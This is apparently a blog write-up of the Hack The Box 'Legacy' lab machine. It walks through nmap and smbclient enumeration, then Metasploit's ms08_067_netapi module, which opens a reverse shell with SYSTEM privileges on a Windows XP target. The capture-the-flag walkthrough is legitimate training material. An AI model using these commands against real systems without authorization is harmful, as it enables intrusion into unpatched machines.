In this blog post, I will show the steps that I took to get root access to the Legacy machine on Hack The Box (HTB).
Legacy is a retired machine. This means that it is not available on HTB free servers anymore. In order to follow along, you need a VIP subscription. The monthly fee at the moment is 12 Euro.
I assume that you have already downloaded the connection pack from https://www.hackthebox.eu/home/htb/access and you are using Kali Linux version 2020.3 as the attacking machine.
Create a Connection to the HTB Network
In order to connect to the HTB network, open a terminal tab, go to the folder where you downloaded the connection pack, type
openvpn <yourUsername>.ovpn. If you see the line
Initialization Sequence Completed, you are good to go. Now open a new terminal tab and type
ifconfig. You should see an entry called
tun0, which is the name of the VPN interface. Write down the relative IPv4 address, we will need it later.
Scanning and Enumeration
In real life, the first step for a penetration test is information gathering. During this phase, the pentester gathers information about the target. Because we are hacking a machine on HTB, we will limit ourselves to write down Legacy’s operative system (Legacy is a Windows machine) and its IPv4 address. This information can be found at https://www.hackthebox.eu/home/machines under Retired Machines > Legacy.
The next step of the pentest process is scanning and enumeration. Here the pentester wants to know which ports on the victim machine are open, that is, which ports are configured to receive packets. Moreover, s/he looks at the services listening on those ports, looks for unpatched vulnerabilities and so on. For scanning and enumeration we are going to use nmap, smbclient (spoiler alert: we are going to exploit a SMB weakness) and metasploit.
Open a new terminal tab and enter
nmap -T4 -p- 10.10.10.4 . With this command, we are going to scan all ports on machine
10.10.10.4 (Legacy) with timing 4 (timing is in range 0-5, where higher is faster).
This first scan tells us that ports 139/445 (SMB) and 3389 (RDP) are open. Now that we know this, let’s list more information about them. Enter
nmap -A -T4 -p 139,445,3389 10.10.10.4 , where
-A lists all the information available for each specified port.
The most important information that we get from this second scan is that the target computer is running Windows XP (you see this information under smb-os-discovery).
Now we will focus on SMB which is a network file sharing protocol that has been vulnerable on Windows in the past. Our goal is to gather information about SMB on this machine. The first thing we can do is try accessing SMB resources on the target. Enter
smbclient -L \\\\10.10.10.4\\
This attempt was unsuccessful, because the login is protected by a password. The next thing we can try is to find out which SMB version Legacy is running. In order to do this, we will use Metasploit. Run
msfconsole to start the service. Then enter
search smb. As we are looking for the SMB version, we enter
use auxiliary/scanner/smb/smb_version. Now we set up the remote host with
set rhosts 10.10.10.4 and run this program.
Unfortunately, we do not get any information about the SMB version, but we get to learn that the host is running Service Package 3 of Windows XP. This is an important finding, because it allows us to look for an exploit for a specific service pack.
Now open your browser, go to Google and search smb windows XP SP3 exploit. One of the first pages that show up is https://www.rapid7.com/db/modules/exploit/windows/smb/ms08_067_netapi . Rapid7 pages are very helpful as they explain the specific vulnerability and show you the commands that you have to run with Metasploit in order to exploit that vulnerability. The reason behind this “service” is that the Metasploit Project is a collaboration between the open source community and the company Rapid7.
Exploit Legacy and Catch the Flags
It is time to hack into Legacy. In this exploit, we are going to open a reverse shell. This means that the victim connects back to us (the attacker). This image by https://www.hackingtutorials.org/ visualizes this concept:
use exploit/windows/smb/ms08_067_netapi and then set up RHOST (the victim’s IP address) and LHOST (the attacker’s IP address). This step is very important as the default settings use your machine default IP address as LHOST (it took a while for me to find this problem), whereas you need the tun0 IPv4 address in order to hack into Legacy successfully. Enter
set rhosts 10.10.10.4 and
set lhost <your tun0 IPv4 address>. Enter
run and cross your fingers!
If everything worked fine, you should see something similar to the screenshot above. NT AUTHORITY\SYSTEM means that we now have the highest privilege level in Windows, which is equivalent to the root user in Linux. Next you have to look for user “john”‘s and user “Administrator”‘s flags and submit them on HTB in order to own the Legacy machine. I leave this task as a challenge for you.
I hope you liked this post. If you have any question, feel free to leave a comment in the comment section. Never stop learning!